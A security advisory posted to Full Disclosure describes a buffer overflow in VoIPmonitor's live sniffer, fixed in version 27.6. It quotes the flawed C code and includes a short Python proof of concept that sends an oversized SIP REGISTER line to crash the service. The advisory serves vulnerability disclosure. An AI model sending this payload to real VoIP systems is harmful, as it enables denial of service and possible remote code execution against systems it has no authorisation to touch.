[FD] ES2021-03: VoIPmonitor is vulnerable to a buffer overflow when using the live sniffer

["Sandro Gauci" <sandro@xxxxxxxxxxxxxxxxxx>]

# VoIPmonitor is vulnerable to a buffer overflow when using the live sniffer

- Fixed versions: 27.6
- Enable Security Advisory: 
https://github.com/EnableSecurity/advisories/tree/master/ES2021-03-voipmonitor-livesniffer-buffer-overflow
- VoIPmonitor Security Advisory: none, changelog references fixes at 
https://www.voipmonitor.org/changelog-sniffer
- Tested vulnerable versions: 27.5
- Timeline:
    - Report date: 2021-02-10
        - Triaged: 2021-02-12
        - Fix provided for testing: 2021-02-15
        - VoIPmonitor release with fix: 2021-02-15
        - Enable Security advisory: 2021-03-15

## Description

A buffer overflow was identified in the VoIPmonitor live sniffer feature. The 
description variable in the function `save_packet_sql` is defined as a fixed 
length array of 1024 characters. The description is set to the value of a SIP 
request or response line. By setting a long request or response line 
VoIPmonitor will trigger a buffer overflow. The affected code is:

```c
char callidstr[1024] = "";
if(packetS->sipDataLen) {
    void *memptr = memmem(packetS->data_()+ packetS->sipDataOffset, 
        packetS->sipDataLen, "\r\n", 2);
    if(memptr) {
        memcpy(description, packetS->data_()+ packetS->sipDataOffset, 
            (char *)memptr - (char*)(packetS->data_()+ packetS->sipDataOffset));
        description[(char*)memptr - (char*)(packetS->data_()+ 
            packetS->sipDataOffset)] = '\0';
        printf("%s\n", description);
    }
    // ...
}
```

## Impact

When using the static binaries provided at the VoIPMonitor download site, this 
vulnerability may lead to remote code execution. This is due to lack of 
standard memory corruption protection as explained in a separate advisory, 
ES2021-04-voipmonitor-staticbuild-memory-corruption-protection.

When compiling the `voipmonitor` program from source, most modern build systems 
will automatically include run-time best practice checks. In such cases, it 
appears that the worst-case-scenario is that the program will end up crashing.

## How to reproduce the issue

1. Start the live sniffer from the VOIPMonitor GUI
2. Execute the following Python program so that VOIPMonitor is able to capture 
the packet
3. Observe that VOIPMonitor has crashed

```python
import socket
msg='REGISTER %s SIP/2.0\r\n' % ('a' * 1024)
msg+='Via: SIP/2.0/UDP 
192.168.1.132:35393;rport;branch=z9hG4bK-kwtTkrdNAO2Wvw0v\r\n'
msg+='Max-Forwards: 70\r\n'
msg+='From: <sip:85861710@xxxxxxxxxxxxxxxxxxx>;tag=mnq1nKGNZHNUkNOG\r\n'
msg+='To: <sip:85861710@xxxxxxxxxxxxxxxxxxx>\r\n'
msg+='Call-ID: 93X9dNZO2qdcfpdu\r\n'
msg+='CSeq: 1 REGISTER\r\n'
msg+='Contact: <sip:85861710@192.168.1.132:35393;transport=udp>\r\n'
msg+='Expires: 60\r\n'
msg+='Content-Length: 0\r\n'
msg+='\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(msg.encode(), ('demo.sipvicious.pro', 5060))
```

## Solution and recommendations

To address this issue, we recommend upgrading to the latest fixed version of 
VoIPmonitor.

We recommended the following to the vendor:

> The length of the value that the description is being set to should be 
> checked before it is copied into memory. The pattern `memcpy(dest, src, 
> MIN(src_len, max_len));` could be used to safely perform this operation.

## Acknowledgements

Enable Security would like to thank Martin Vit and the developers at 
VoIPmonitor for the very quick response and fixing this security issue.

## About Enable Security

Enable Security develops offensive security tools and provides quality 
penetration testing to help protect your real-time communications systems 
against attack.

## Disclaimer

The information in the advisory is believed to be accurate at the time of 
publishing based on currently available information. Use of the information 
constitutes acceptance for use in an AS IS condition. There are no warranties 
with regard to this information. Neither the author nor the publisher accepts 
any liability for any direct, indirect, or consequential loss or damage arising 
from use of, or reliance on, this information.

## Disclosure policy

This report is subject to Enable Security's vulnerability disclosure policy 
which can be found at 
<https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.


--
 
    Sandro Gauci, CEO at Enable Security GmbH

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